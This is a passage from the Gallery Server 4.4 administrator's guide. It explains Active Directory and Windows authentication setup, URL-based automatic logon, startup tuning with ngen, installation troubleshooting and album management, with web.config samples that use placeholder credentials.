Note: The value 192.168.1.1 is the IP address of the domain controller. You can also specify
the Fully Qualified Domain Name (ex. mydomain.techinfosystems.com), the Relative
Distinguished Name (ex. godzilla if that is the name of your DC); or for more redundancy
you can specify just the domain name (ex. mydomain).
b. Replace the membership and roleManager sections with the following.
<membership defaultProvider="AspNetActiveDirectoryMembershipProvider">
<providers>
<clear />
<add name="AspNetActiveDirectoryMembershipProvider"
type="System.Web.Security.ActiveDirectoryMembershipProvider" connectionStringName="ADConnection"
enableSearchMethods="true" attributeMapUsername="sAMAccountName" applicationName="Gallery Server" />
</providers>
</membership>
<roleManager enabled="true" cacheRolesInCookie="true" cookieProtection="Validation"
defaultProvider="SqlRoleProvider">
<providers>
<clear />
<add name="SqlRoleProvider" type="System.Web.Security.SqlRoleProvider"
connectionStringName="GalleryDb" applicationName="Gallery Server" />
</providers>
</roleManager>
Gallery Server 4.4 Administrator’s Guide Page 25 of 246
8. OPTIONAL- This step is necessary only when the default IIS application pool identity does not have
permission to read the list of AD accounts. You can skip this step and come back to it if you discover
the gallery is unable to retrieve AD accounts.
Use IIS Manager to configure an IIS application pool to run under an account with permission to read
the list of Active Directory users. Here we created a pool named GalleryActiveDirectoryPool and
configured it to run under the Active Directory account Gsp_ServiceAccount:
Update the gallery web application to use this pool. In IIS Manager, right-click the application in the
left pane and choose Manage Application Advanced Settings. Select the pool in the Application
Pool setting.
Note: Instead of configuring the application pool to run under an AD account, you can specify an AD
username and password in web.config as shown below. However, this is less secure because the
password for an AD account is stored in plain text in the application.
Gallery Server 4.4 Administrator’s Guide Page 26 of 246
<add name="AspNetActiveDirectoryMembershipProvider"
type="System.Web.Security.ActiveDirectoryMembershipProvider"
connectionStringName="ADConnection" enableSearchMethods="true"
attributeMapUsername="sAMAccountName" applicationName="Gallery Server"
connectionUsername="Administrator" connectionPassword="ThePassword" />
9. Use Windows Explorer to open App_Data\install.txt in a text editor. If the file doesn’t exist, create
an empty text file named install.txt and save it to the App_Data directory. Choose one of your AD
accounts to be a gallery administrator and specify the username. You do not need to specify the
password or domain name.
10. Open the gallery in a web browser. For new galleries, startup code will create the tables in the
database and seed them with data. For new and existing galleries, the startup code will detect
install.txt and configure the specified user as a gallery admin. When finished, the gallery will appear:
Gallery Server 4.4 Administrator’s Guide Page 27 of 246
11. Finished! You can log in as the AD user you specified in the text file. You can use the Manage Users
and Manage Roles pages to configure additional users.
Note: If you followed the recommended advice and configured the gallery to connect to AD using a
read-only account, then the Manage Users page can ONLY be used to update the role memberships of
users. You cannot add or delete AD accountsyou will get a security error if you try. If you specified an
AD account with write permission, then the Manage Users can be used to create and delete AD
accounts, although this is generally not advisable. You should follow existing business practices for
those actions.
TIP: Boost application startup time with ngen.
Note: To integrate with Active Directory groups, follow the instructions in the section Integrate with
AD groups.
Upgrade an AD-enabled gallery from 4.X and 3.X
Upgrading a gallery using Active Directory for membership follows the same process as updating a
regular gallery. Follow the instructions in the section Upgrade from 4.X or Upgrade from 3.X.
Once you have upgraded, follow the security best practice in the next section to enhance the security of
your gallery.
Integrate with AD groups
The AD instructions earlier in this document configured your gallery to use a stand-alone set of roles to
manage gallery access. Instead, you may prefer to configure the gallery to use your Active Directory groups
as the roles. This can reduce administrative effort because you no longer have to use Gallery Server to
manage role membership when you add employees, move them to new departments, or delete AD
accounts.
Gallery Server 4.4 Administrator’s Guide Page 28 of 246
For example, you can give the Domain Users group read-only access and the Gallery Server Admins
group administrative access (assuming you have a group named Gallery Server Admins). Gallery Server
automatically recognizes a user’s group membership and gives the user the gallery permissions you’ve
defined for each group.
When you integrate Gallery Server with your AD groups, the roles page shows the groups from Active
Directory:
In this screenshot we see four AD security groups, which all live in the All Locations organizational
unit, as seen below in the AD Users and Computers applet. Note that two of the security groups are not
shown because they are in the Longmont OU.
Gallery Server 4.4 Administrator’s Guide Page 29 of 246
Note: The sample AD connection string shown earlier pointed to the Users container. If that’s the
connection string you use in your gallery, then Gallery Server will only use roles defined in that
container. To point to another container or an organization unit, adjust the connection string
accordingly. For example, for the screenshots above we used this connection string to connect to the
All Location OU: LDAP://192.168.1.200/OU=All Locations,DC=ad,DC=techinfosystems,DC=com
To set up AD groups integration, we advise that you first set up AD membership. Once that is working,
follow these directions.
1. Use a text editor to open the web.config file found in the root of the gallery.
2. Replace the <roleManager> section with this:
<roleManager enabled="true" cacheRolesInCookie="true" cookieProtection="Validation"
defaultProvider="ActiveDirectoryRoleProvider">
<providers>
<clear />
<add name="SqlRoleProvider" type="System.Web.Security.SqlRoleProvider"
connectionStringName="GalleryDb" applicationName="Gallery Server" />
<add name="ActiveDirectoryRoleProvider"
type="GalleryServer.Web.ActiveDirectoryRoleProvider"
connectionStringName="ADConnection"
groupMode="WhiteList"
whiteListGroups="Gallery Server Admins, Gallery Server Users"
Gallery Server 4.4 Administrator’s Guide Page 30 of 246
blackListGroups="Domain Admins,Domain Users,Authenticated Users,Domain Guests,Domain
Computers,Group Policy Creator Owners,Guests,Users,Pre-Windows 2000 Compatible Access,Exchange Domain
Servers,Schema Admins,Enterprise Admins,Cert Publishers,Backup Operators,Account Operators,Server
Operators,Print Operators,Replicator,Domain Controllers,WINS Users,DnsAdmins,DnsUpdateProxy,DHCP
Users,DHCP Administrators,Exchange Services,Exchange Enterprise Servers,Remote Desktop Users,Network
Configuration Operators,Incoming Forest Trust Builders,Performance Monitor Users,Performance Log
Users,Windows Authorization Access Group,Terminal Server License Servers,Distributed COM
Users,Administrators,Everybody,RAS and IAS Servers,MTS Trusted Impersonators,MTS
Impersonators,Everyone,LOCAL,WinRMRemoteWMIUsers__,This Organization,Service asserted identity,Denied RODC
Password Replication Group,High Mandatory Level,Medium Mandatory Level,Allowed RODC Password Replication
Group,Denied RODC Password Replication Group,Cloneable Domain Controllers,Read-only Domain
Controllers,Enterprise Read-only Domain Controllers,Protected Users"
cacheTimeInMinutes="30"
applicationName="Gallery Server" />
</providers>
</roleManager>
3. By default, this configuration is in “WhiteList” mode that explicitly recognizes two AD groups
Gallery Server Admins and Gallery Server Users. Adjust the attributes as needed for your
organization. Below is the documentation for each attribute.
a. name Must be ActiveDirectoryRoleProvider
b. type Must be GalleryServer.Web.ActiveDirectoryRoleProvider
c. connectionStringName The name of the AD connection string. Must match the connection
string specified in AspNetActiveDirectoryMembershipProvider.
d. groupMode Must be “WhiteList” or “BlackList”. When it’s in WhiteList mode, only the groups
specified in whiteListGroups are recognized and used in Gallery Server (the blackListGroups
attribute is ignored and can be omitted). When in BlackList mode, all groups are allowed except
for those listed in the blackListGroups attribute.
Note: For performance and security, we recommend WhiteList mode when possible. If you
choose BlackList mode, use care when editing the blacklist groups. Several of them must be
present to prevent errors in the provider. If you encounter errors with additional built-in groups
not listed, consider adding them.
e. cacheTimeInMinutes The length of time, in minutes, to store AD group data in the web
server’s memory. Since querying AD can be slow, especially in large organizations, Gallery Server
caches results. The cache works on an absolute, not sliding, basis. A value of zero or less
effectively disables the caching.
f. applicationName The name of the application. Typically, this matches the application name
listed in the membership provider, but it is not required. It is not used in Gallery Server except
as a display value on the Site Settings page.
4. Navigate to the gallery in your browser. You may see a message about how you don’t have access to
any assets. Don’t worry. We’ll deal with this next.
5. Startup code has just created records in the gsp.Role table to match the configured options. For
example, in the default configuration above, Gallery Server will create two rows, one for the Gallery
Server Admins group and one for Gallery Server Users. It will also delete any existing records in this
Gallery Server 4.4 Administrator’s Guide Page 31 of 246
table that don’t match the current role configuration (for example, it will probably delete the
System Administrators role).
6. Choose one of these roles in the table gsp.Role to serve as the gallery administrator. Use SSMS to
configure this role as an administrator. You can use this SQL: UPDATE gsp.Role SET
AllowAdministerSite=1 WHERE RoleName='Gallery Server Admins>' (Replace ‘Gallery Server
Admins’ with the group you chose.)
7. Recycle the application pool. This will force the gallery to reload the gsp.Role table.
8. Log in to the gallery with a user belonging to the group you gave administrative access. Or, if you are
using Windows authentication, log in to the PC with the desired AD account, then navigate to the
gallery. You will have full admin access to the gallery, which will give you the ability to manage other
roles (groups) on the Manage Roles page.
Security Best Practice Get rid of the AD username and password in web.config
Older versions of Gallery Server may have instructed you to specify an Active Directory account in
web.config with update permission to Active Directory. Open web.config in a text editor and look for a line
like this:
<add name="AspNetActiveDirectoryMembershipProvider"
type="System.Web.Security.ActiveDirectoryMembershipProvider,
System.Web,Version=2.0.0.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"
connectionStringName="ADConnection" enableSearchMethods="true" attributeMapUsername="sAMAccountName"
applicationName="Gallery Server" connectionUsername="Administrator" connectionPassword="ThePassword"
/>
Version 3.1 and higher no longer requires specifying the account in web.config, so we advise that you
remove this information if present. Save your changes and check your gallery, especially the Manage Users
page. If you encounter an error, it is likely because the application pool identity does not have *READ*
permission to the list of AD accounts.
To resolve this, review the section in Install new AD-enabled gallery or convert existing one that contains
instructions for configuring the IIS application pool to run under an account with read permission to AD.
After you make this change, your gallery should be functional and secure.
Note: Technically, if you configure your gallery to run under an account with EDIT permission to the AD
accounts, you can use the Manage Users page to add and delete AD accounts. In rare cases this may be
desirable, but most enterprises have a separate process for these actions, and it is best to stick with
that process. Your gallery and your AD infrastructure are more secure when you run under the
principle of least privilege.
Upgrade an AD-enabled gallery from 2.6
Upgrading a 2.6 gallery that has been integrated into AD is largely the same as upgrading a regular
gallery. The main difference is that we won’t export the membership data in the 2.6 backup file. This is
because the restore process assumes the membership and roles are using the Microsoft ASP.NET Universal
Gallery Server 4.4 Administrator’s Guide Page 32 of 246
Providers, but AD requires the use of the AD Membership provider
(System.Web.Security.ActiveDirectoryMembershipProvider) and the SQL Server role provider
(System.Web.Security.SqlRoleProvider).
1. Make a backup of your database, web files, and (optionally) your media files. You’ll only need them
if the upgrade fails and you need to revert to 2.6.
2. In your 2.6 gallery, go to the backup/restore page. Uncheck the option Export user accounts. Then
create the backup file.
3. In the web.config file, note the AD connection string in the connection strings section. You’ll need
this in a few steps.
4. Delete the gallery web files from your server. DO NOT delete your media files (the ones stored in
gs\mediaobjects by default).
5. Download the 30-day trial or, if you purchased the product, the install package from your account
page. Extract the contents to your web server, in the same location you had 2.6.
6. Open the web.config file in the root of the gallery in a text editor.
a. Add the connection string you noted above to the connectionStrings section. It will look similar
to this:
<add name="ADConnection" connectionString="LDAP://192.168.1.1/CN=users,DC=mydomain,DC=techinfosystems,DC=com"/>
b. Replace the membership and roleManager sections with the following.
<membership defaultProvider="AspNetActiveDirectoryMembershipProvider">
<providers>
<clear />
<add name="AspNetActiveDirectoryMembershipProvider"
type="System.Web.Security.ActiveDirectoryMembershipProvider" connectionStringName="ADConnection"
enableSearchMethods="true" attributeMapUsername="sAMAccountName" applicationName="Gallery Server" />
</providers>
</membership>
<roleManager enabled="true" cacheRolesInCookie="true" cookieProtection="Validation"
defaultProvider="SqlRoleProvider">
<providers>
<clear />
<add name="SqlRoleProvider" type="System.Web.Security.SqlRoleProvider"
connectionStringName="GalleryDb" applicationName="Gallery Server" />
</providers>
</roleManager>
7. OPTIONAL- This step is necessary only when the default IIS application pool identity does not have
permission to read the list of AD accounts. You can skip this step and come back to it if you discover
the gallery is unable to retrieve AD accounts.
Use IIS Manager to configure an IIS application pool to run under an account with permission to read
the list of Active Directory users. Here we created a pool named GalleryActiveDirectoryPool and
configured it to run under the Active Directory account Gsp_ServiceAccount:
Gallery Server 4.4 Administrator’s Guide Page 33 of 246
Update the gallery web application to use this pool. In IIS Manager, right-click the application in the
left pane and choose Manage Application Advanced Settings. Select the pool in the Application
Pool setting.
Note: Instead of configuring the application pool to run under an AD account, you can specify an AD
username and password in web.config as shown below. However, this is less secure because the
password for an AD account is stored in plain text in the application.
<add name="AspNetActiveDirectoryMembershipProvider"
type="System.Web.Security.ActiveDirectoryMembershipProvider"
connectionStringName="ADConnection" enableSearchMethods="true"
attributeMapUsername="sAMAccountName" applicationName="Gallery Server"
connectionUsername="Administrator" connectionPassword="ThePassword" />
8. Use Windows Explorer to open App_Data\install.txt in a text editor. If the file doesn’t exist, create
an empty text file named install.txt and save it to the App_Data directory. Choose one of your AD
Gallery Server 4.4 Administrator’s Guide Page 34 of 246
accounts to be a gallery administrator and specify the username. You do not need to specify the
password or domain name.
9. Open default.aspx in a browser. The gallery will detect that the required data structure doesn’t exist
and will automatically create it. It will also configure the AD user as a gallery administrator.
10. Log in to the gallery as an administrator and go to the backup/restore page. Click the restore tab and
upload the backup file you created earlier. Then restore it. For large galleries this can take a few
minutes.
11. Finished! Log back in to the gallery and review your albums and media assets. Also verify the users
and roles have maintained their values from 2.6.
Configure Windows authentication
Gallery Server is typically installed using forms authentication. With forms authentication, users must
manually log in to the gallery with their account name and password.
When a gallery is configured to use Windows authentication, Gallery Server uses the credentials of the
logged on user. In most cases, this means the user can access the gallery without a separate login step. If the
authorization fails or the user is not authenticated on a Windows OS, most browsers prompt the user to
enter a username and password. For example, this is what might happen if a user accesses the gallery from a
mobile phone.
The use of Windows authentication works best in organizations where users log in to their computers
with a centralized identity provider such as Active Directory.
Follow these steps to convert an existing forms-authenticated gallery to one that uses Windows
authentication.
1. In IIS Manager, navigate to your gallery and open the Authentication settings.
Gallery Server 4.4 Administrator’s Guide Page 35 of 246
2. Disable Anonymous Authentication and Forms Authentication. Enable Windows Authentication.
3. Click the Back button to return to the main page for your web application. Open the .NET
Authorization Rules settings.
Gallery Server 4.4 Administrator’s Guide Page 36 of 246
4. In the right pane, click Add Deny Rule… and select All anonymous users. Click OK.
Gallery Server 4.4 Administrator’s Guide Page 37 of 246
Note: The above steps make a couple changes to the web.config file in the gallery web application. You
could have edited the file directly to make these changes:
Change <authentication mode="Forms"> to <authentication mode="Windows">.
Add <authorization><deny users="?" /></authorization> to <system.web>.
5. At this point the gallery is configured for Windows authentication. Navigate to your gallery.
Depending on your network configuration, you may be prompted to enter the account name and
password. (For example, this will happen if Intranet Settings are disabled in Internet Explorer.)
6. If this is the first time logging in to the gallery using your Windows account, you may get a message
about not having access to any albums, you may have read-only access but not administrative
access, or you may end up with a bunch of redirects that end up in a browser error. Regardless, the
solution is to tell Gallery Server your Windows account should be a site administrator.
Use File Explorer to create an empty text file named install.txt in the App_Data directory. Open it in
a text editor and type UserName=XXXXXXX, where XXXXXXX is the name of your Windows account.
Gallery Server 4.4 Administrator’s Guide Page 38 of 246
You do not need to specify the domain name (for an AD account) or machine name (for a local
account).
Note: If you are using any membership provider other than Active Directory, the text file must also
include a second line with “Password=XXXXX”. The actual password you specify can be anything and
does not need to match the account password.
7. Recycle the application pool and navigate to the gallery in your browser. Gallery Server will detect
the file and configure the specified account as an administrator. The file will be automatically
deleted once it is processed. You should now be able to access the gallery as an administrator using
your Windows account.
Note: If using Windows authentication with local accounts, you are probably using the default
membership provider. In this case, you’ll need to add each account to the gallery on the Users page
before the user will be able to access the gallery. If you don’t, the user will see a browser error about
too many redirects.
URL-based automatic logon
Gallery Server supports automatically authenticating a user when the account name is specified in the
URL. For example, one can authenticate as user Vino with the URL http://site.com/?user=Vino. No username
or password is necessary.
This can be useful in a number of scenarios:
Share access to your gallery or a subset of your gallery such as a single album with a convenient
link. For example, create a user named EuropeanVacation and give it read access to your album of
vacation photos. Then give your friends the link http://site.com/?user=EuropeanVacation. All they
will see are the media assets that user has access to.
Gallery Server 4.4 Administrator’s Guide Page 39 of 246
You want to give users access to a task that requires them to be logged on but you don’t want to
give them a username and password. For example, say you have a public website that asks users to
submit photos for a contest. Gallery Server requires users to be logged on to access the upload
page, so you create an account named PhotoContestSubmitter and put it in a role with upload
permissions to a particular album. Then, on your website, you create a link to the upload page like
this: http://site.com/?user=PhotoContestSubmitter. Users will be able to upload photos without
going through a logon page.
Show various, filtered views of your gallery. For example, say you have a website containing a gallery
of thousands of clock photos and you want to make it easy for your users to browse different
categories. You can create a user to represent each category and give it access to the albums in that
category. Your website can present each category as a custom link. See wp.clockdoc.org for an
example of a website that does this.
Note: This approach has a similar effect as setting up multiple galleries but has the advantage
of working in all editions of Gallery Server and sharing the configuration settings of a single
gallery.
This feature is not enabled by default. To turn it on, add an application setting to web.config:
<configuration>
<appSettings>
<add key="GalleryServerAutoLogonUsers" value="Vino,Mateo" />
</appSettings>
<configuration>
In this example, only the users Vino and Mateo can be auto-logged on. We refer to this as a whitelist
approach, since only users explicitly listed can log on.
This feature also supports a blacklist mode, where all users are allowed except for those explicitly
specified. The syntax looks like this:
<configuration>
<appSettings>
<add key="GalleryServerAutoLogonUsers" value="*,-Admin,-Manager" />
</appSettings>
<configuration>
Use the asterisk to specify that all users are allowed, then enter a comma-separated list of usernames
with a preceding hyphen (-). In the above example, all users can be auto-logged on except for Admin and
Manager.
Note: Use caution with this feature, since anyone with the URL can carry out any action that user has
permission to perform. It’s probably not a good idea, for example, to configure the administrator
account for auto-logon access.
Gallery Server 4.4 Administrator’s Guide Page 40 of 246
Boost application startup performance with ngen
NOTE: The performance tip in this section requires administrative access to the web server. This is
often not possible in hosted environments, so if this is your situation you won’t be able to take
advantage. Bummer.
Gallery Server uses Entity Framework 6.1, which requires distributing the Entity Framework DLL with the
application instead of assuming its present in the .NET Framework. This offers many benefits, but one
downside is that .NET must JIT-compile the EF assembly during application startup, causing a delay of a
second or so.
To eliminate this delay, you can create a native image for the EF assembly. And if you’re going to do this,
you may as well make native images of a couple other assemblies as well. Open a command prompt with
admin privileges in the bin directory of your gallery application, then run each of the following statements
one at a time. More info at http://msdn.microsoft.com/en-US/data/dn582034.
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ngen install EntityFramework.dll
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ngen install EntityFramework.SqlServer.dll
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ngen install EntityFramework.SqlServerCompact.dll
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ngen install EntityFramework.dll
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ngen install EntityFramework.SqlServer.dll
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ngen install EntityFramework.SqlServerCompact.dll
Troubleshooting the installation or upgrade
Enable detailed error messages
You may get this generic error message:
“An error occurred. We are sorry, but Gallery Server encountered an error. It has been logged and, if
error reporting is enabled, an email describing the problem has been sent to the administrator.
To see the detailed error message, temporarily make these two changes to cause detailed messages to
be rendered in the browser: (1) Set customErrors=”Off” in web.config (2) Set debug=”true” in web.config.
You may also find clues by reviewing the event logs. Gallery Server maintains an event log accessible on
the Admin ribbon tab. There is another one maintained by your operating system and accessible from the
Server Manager.
UI templates not updated after upgrade
During an upgrade one or more UI templates are usually updated, including any custom variants you
created. The updates are done by doing a search and replace on the relevant section in each template. If you
edited these sections, the search and replace may not correctly work. If you suspect this happened, copy the
HTML and JavaScript from the default templates in Gallery Server, then re-apply your customization.
Gallery Server 4.4 Administrator’s Guide Page 41 of 246
NOTE: Upgrading from 3.X requires re-applying your UI template customizations. Review Upgrading
from 2.X or 3.X for more information.
Insufficient NTFS permissions
The IIS application pool identity needs read access to all files in the web application directory. In
addition, it needs modify permission to the App_Data, gs\mediaobjects, and gs\skins directories. If you are
not sure how to do this, read the section Configuring NTFS Permissions in Microsoft Windows.
SQL Server connection issues
There are many reasons why a web application cannot connect to SQL Server:
Incorrect username/password
The server name is not entered correctly
SQL Server was installed with Windows-only authentication and you are specifying a SQL login
You are specifying Windows authentication and the IIS application pool identity has not been added
to SQL Server
A firewall is blocking communication
SQL Server service is not running
SQL Server requires a password change before giving a user access
One or more required protocols are disabled
SQL Server connection issues are commonly discussed on the internet, so perform a web search with the
specific error message to learn about the possible causes. Since this is most likely not a problem with Gallery
Server, we respectfully ask that you try to resolve the problem on your own rather than submitting a
question in the forum. This type of issue is difficult for an outside person to resolve (it is hard enough for the
“inside” person).
If you continue to have trouble, consider purchasing installation services or using SQL CE, which is easier
to use for many people.
SQL CE corruption
In rare cases, corruption may occur in the SQL CE database. You can force a compact and repair
operation on the database by adding an application setting to web.config:
<configuration>
<appSettings>
<add key="CompactAndRepairDatabaseOnStartup" value="True" />
</appSettings>
Gallery Server 4.4 Administrator’s Guide Page 42 of 246
<configuration>
When this setting is detected, the compact and repair operation automatically runs during application
initialization. The setting has no effect when SQL Server is being used.
Account names with backslashes
Gallery Server 3 and earlier supported account names with backslashes in them (e.g. “Vino\Ramedy”). In
Gallery Server 4, we introduced support for Windows Authentication. This requires parsing the domain
name or machine name from the Windows-supplied account name. The parsing routine will cause incorrect
behavior if you are using forms authentication (the only kind supported in 3.X) and one or more of your
users has a backslash in their account name.
We believe it is rare for an organization to use a backslash in the account name, but just in case, we
provided an application setting that reverts to the 3.X behavior. Add an application setting to web.config:
<configuration>
<appSettings>
<add key="SuppressUserNameParsingFromHttpContextIdentity" value="True" />
</appSettings>
<configuration>
Note: You do not need this setting if you are using the new Windows Authentication support, are
integrated with Active Directory or none of your account names have backslashes.
Uninstalling Gallery Server
To uninstall Gallery Server, delete the web application files and the database. You may also want to use
IIS Manager to delete the application instance.
Note: Use caution when deleting the gs\mediaobjects directory, since it may contain media files you
want to keep!
Install the Gallery Server Binary Pack
The Gallery Server Binary Pack is a free collection of open source utilities. They supercharge your gallery,
giving it the ability to generate thumbnails from videos, create web-optimized versions of video and audio
files, and provides enhanced image processing for a variety of files (txt, tiff, cr2, nef, pdf, eps, psd, and
more).
Download it on this page.
The Binary Pack contains three open source components:
ImageMagick Provides the ability to process RAW images from Canon and Nikon (cr2 and nef) and
create thumbnail images from eps, psd, txt, and pdf files. It requires GhostScript to provide the eps and pdf
support.
Gallery Server 4.4 Administrator’s Guide Page 43 of 246
How to install: Execute the setup program on the web server, making sure to select the option to
install legacy utilities.
** IMPORTANT ** You must select the option "Install legacy utilities (e.g. convert)" in the install
wizard. This tells the installer to copy convert.exe to the installation folder, which Gallery Server
requires.
Go to Site Settings in your gallery (admin tab) and update the ImageMagick path to your installation. It
will look something like this: "C:\Program Files\ImageMagick-7.0.5-Q16".
NOTE: If you are using a hosting provider and can’t install an application on the server, you can
achieve some of the benefits by copying convert.exe to the bin directory. You won’t get RAW image
processing but can still get thumbnail image support for other file types.
GhostScript GhostScript knows about the internal format of eps and pdf files.
How to install: Execute the setup program on the web server.
FFmpeg Creates web-optimized videos and thumbnail images from video files.
How to install: Copy ffmpeg.exe to the bin directory.
Installing these utilities is optional. When present, Gallery Server takes advantage of them. When not
installed, it provides graceful fallback behavior.
Feel free to grab these utilities straight from their home pages. We put together the Binary Pack as a
convenience for you, but they are the same versions you would get from their official pages. Note that if you
install a newer version that what is in the Binary Pack, we likely haven’t tested it and cannot guarantee it will
be compatible.
3. Running Gallery Server
Navigating the gallery
The first time you run Gallery Server while logged in as an administrator, it will look similar to this:
Gallery Server 4.4 Administrator’s Guide Page 44 of 246
The ribbon toolbar gives you access to most of the functionality in Gallery Server. Any function the
logged on user does not have permission to execute is disabled or hidden.
TIP: Collapse the ribbon toolbar by clicking any of the headers. Click again to expand it.
There is a header section followed by a 3-pane, resizable content area. The center pane shows
thumbnail previews for the contents of the current album. In the above screen shot, there is a single album
named Samples. Click the image to go to that album. When an album displays media assets, click the
thumbnail image to see a larger version, as shown below.
Gallery Server 4.4 Administrator’s Guide Page 45 of 246
Add albums and media assets
You can add media files to the root album or any child album. Choose Add media from the Manage
toolbar tab to add one or more media files. Choose New album to create a new album.
By default, only JPG and JPEG media files can be added to the gallery. This can be changed on the File
Types page on the Settings tab.
There are several ways to add large numbers of albums and media assets in a single operation. Read the
section Working with Media Assets for details.
Gallery Server 4.4 Administrator’s Guide Page 46 of 246
Edit the albums and media assets
Explore the UI to discover the various ways you can customize the albums and media assets. Later
sections will dig into the details, but if you poke around you’ll find you can edit properties, change the
sorting, rotate assets, move and copy items, and more.
Tooltips and an intuitive interface guide you through the changes, and in most cases you won’t even
need to read this guide. However, as you become an expert with your gallery, you may want to review this
document to learn about more advanced topics.
4. Working with Albums
Overview of albums
Gallery Server stores media assets in albums, and each album holds zero or more media assets and/or
child albums. This is similar to how Windows stores directories and files. In fact, Gallery Server stores albums
as directories in the file system, and media assets are stored as files (which makes sense, since they are
files.)
Gallery Server starts with one album that serves as a container for all other albums. This top-level
album is called the root album and by default is named All albums. This album and the directory it points
to is never deleted. Media assets and albums are added to the root album. In turn, each child album can
store additional media assets and/or child albums.
There is no limit to the number of media assets and albums one can store, except the limit presented by
hard drive space limitations and the operating system for maximum file path length. That is, since some
versions of Windows have a maximum file path length of 260 characters, the full path to the album
(directory) must be less than this limit.
Album visibility and security
By default, albums are visible and read only to users who are not logged on (i.e. anonymous users).
When logged on, the user’s role membership defines whether a user can view or manage an album.
When a user doesn’t have access to an album, they don’t appear in the browser, don’t appear in search
results, and cannot be navigated to via URL. From the user’s perspective, it’s as if the album doesn’t exist.
There are a number of ways to manage the security access to an album. Your requirements will dictate
which one, or a combination, is best. Let’s briefly look at the various approaches. Later we’ll take a closer
look at each one.
Restrict access to logged on users Disable anonymous access to require all users to log on, even if they are
just viewing assets.
Private album Hide an individual album from anonymous users by marking it as private. Users who are
logged in can see private albums if they belong to a role with view permission to that album.
Gallery Server 4.4 Administrator’s Guide Page 47 of 246
User/role membership Roles define the access to one or more albums. Logged on users belong to zero or
more roles. This gives you the finest level of control and is generally the most popular way to manage
security in the gallery. The other techniques listed below are simply abstractions of the user/role
membership. Note that roles are relevant only to logged on users; anonymous users do not belong to any
roles and cannot be assigned a role.
Album ownership Specify an account to act as an album’s owner and that user has full editing access to
that album and its child albums. One downside to this feature is that only one account can be an owner of
an album. If you want to give multiple people edit permission to an album, use user/role membership.
User albums Each user is given an auto-created album they manage.
SECURITY WARNING: If your media assets directory is within the web application (which is the default),
then users can bypass security by guessing the URLs to a media asset (e.g.
http://www.site.com/gallery/gs/mediaobjects/photo.jpg). If you wish to prevent this, move the
directory outside the web application so that IIS will not serve requests to the objects. Information
about changing the media assets directory is in the Media asset storage section.
Create an album
An album is a container that holds one or more media assets and/or child albums. Upon installation
Gallery Server has one album named All albums.
To create a new album, select New album from the Manage ribbon toolbar menu. Then enter the name
of the album and press enter or tab.
Album properties
Albums, just like media assets, have properties. The default settings allow one to assign a title, caption,
tags and people in the right pane.
Albums also have a couple unique properties that media assets do not have:
Owner Specify an account that has full edit permission to the album. See Album ownership.
Private Hide an album from anonymous users. See Private albums.
You must be logged in under an account with edit album’ permission to change these properties.
Anonymous users and users with read-only permission won’t see some settings or they will be read only.
There are a number of settings and capabilities that customize the look, feel, and behavior of property
editing, including the ability to create custom properties unique to your organization. See Metadata
Settings.
Gallery Server 4.4 Administrator’s Guide Page 48 of 246
Editing album and asset properties
Most properties for albums and media assets are edited in the right pane. The right pane shows the
properties for the asset that is currently shown or selected in the center pane. For example, when you first
navigate to an album, the right pane shows the album’s properties.
Select one or more thumbnails by clicking in the area between the thumbnail image and the outside
border. You can also drag-select or CTRL-select multiple thumbnails. Edit a property by clicking it in the right
pane. For example, here we are adding a caption to a photo:
Gallery Server 4.4 Administrator’s Guide Page 49 of 246
TIME SAVING TIP! If you select multiple thumbnail images, you can apply a property to several items at
once. For example, quickly tag all images by highlighting them with the mouse and then typing the tag
in the right pane.
Album titles & directory names
Album titles are unique because they are synchronized to the name of the corresponding directory on
the disk. When an album’s title is changed, Gallery Server modifies the name of the directory for that album
to match the title.
This is all well and good, but this can cause a problem. Most Windows operating systems cannot handle
a directory path longer than 255 characters. Since an album title in Gallery Server may be longer than that,
one could easily reach this limitation. To help prevent this, Gallery Server only uses the first twenty-five
characters of the title for the directory name. As a result, you will notice an album with the title “This is a
long title for an album” has a directory with the name “This is a long title for ”.
Note: When a gallery is configured as read-only, Gallery Server never changes the files or directory
names.
Gallery Server 4.4 Administrator’s Guide Page 50 of 246
You might want to change this behavior. For example, you may have all your photos in a directory
structure with lots of long names, and you don’t want Gallery Server truncating them when you edit the
album’s title. There are two settings available to modify this behavior:
Synchronize directory names with album titles Indicates whether to update the directory name
corresponding to an album when the album's title is changed. The default value is true. Setting it to false
tells Gallery Server to never alter the directory name. The only exception to this is when Gallery Server has
to slightly tweak the name of a directory to prevent a naming conflict. For example, this may happen if you
move or copy an album into a directory containing another album with the same name. Adjust this setting
on the Media settings page.
Default Album Directory Name Length Gallery Server will truncate directory names longer than this value.
The default value is 25, but it can be any value from 1 to 255. This setting is not exposed in the UI. To change
it, look in the table GallerySetting and adjust it there (it’s the record where
SettingName=’DefaultAlbumDirectoryNameLength’).
Move or copy an album
See Move or copy albums and media assets.
Delete an album
See Delete albums and media assets.
Assign album thumbnail
Each album has an album thumbnail image. In the screen shot below, there are two albums and two
images. The images shown for the two albums are the thumbnail images for that album.
Gallery Server 4.4 Administrator’s Guide Page 51 of 246
By default, the first media asset added to an album is used as the thumbnail image for the album.
However, you can choose any media asset in the album. To designate an album’s thumbnail image, use the
Thumbnail button on the Manage ribbon tab.
If the asset currently set as the thumbnail image for an album is deleted, Gallery Server automatically
chooses the next media asset in the album as the thumbnail image. If no image is available (because the
album is empty), a default image is used. The format and text displayed on the default image can be
specified on the Albums Settings page.
Synchronize an album
Gallery Server maintains two related sets of data the physical media files and directories, which are
stored in a UNC-accessible location, and metadata about those files and directories, which are stored in the
database. If the two sets of data ever get out of sync, you can synchronize the database with the media files
to restore data integrity.
You can also synchronize when you want to add a large number of albums and media assets. This can be
done as a one-time operation when you first set up your gallery or as frequently as you wish. It is common
for some organizations to have one process for moving files to the media repository directory, then use the
synchronization feature in Gallery Server to expose those assets in the gallery.
When should you synchronize? You might want to synchronize when:
You installed Gallery Server and are setting up the gallery for the first time.
Gallery Server 4.4 Administrator’s Guide Page 52 of 246
You downloaded photos or videos from your digital camera and want to quickly add them to
Gallery Server. You could ZIP them up and use the Add media menu command, but some people
find it easier to copy the media files to the web server and then synchronize.
You have a read-only gallery and want to add or remove media assets and albums.
You prefer using FTP to transfer files to the web server. FTP is generally more reliable than HTTP
when dealing with large files.
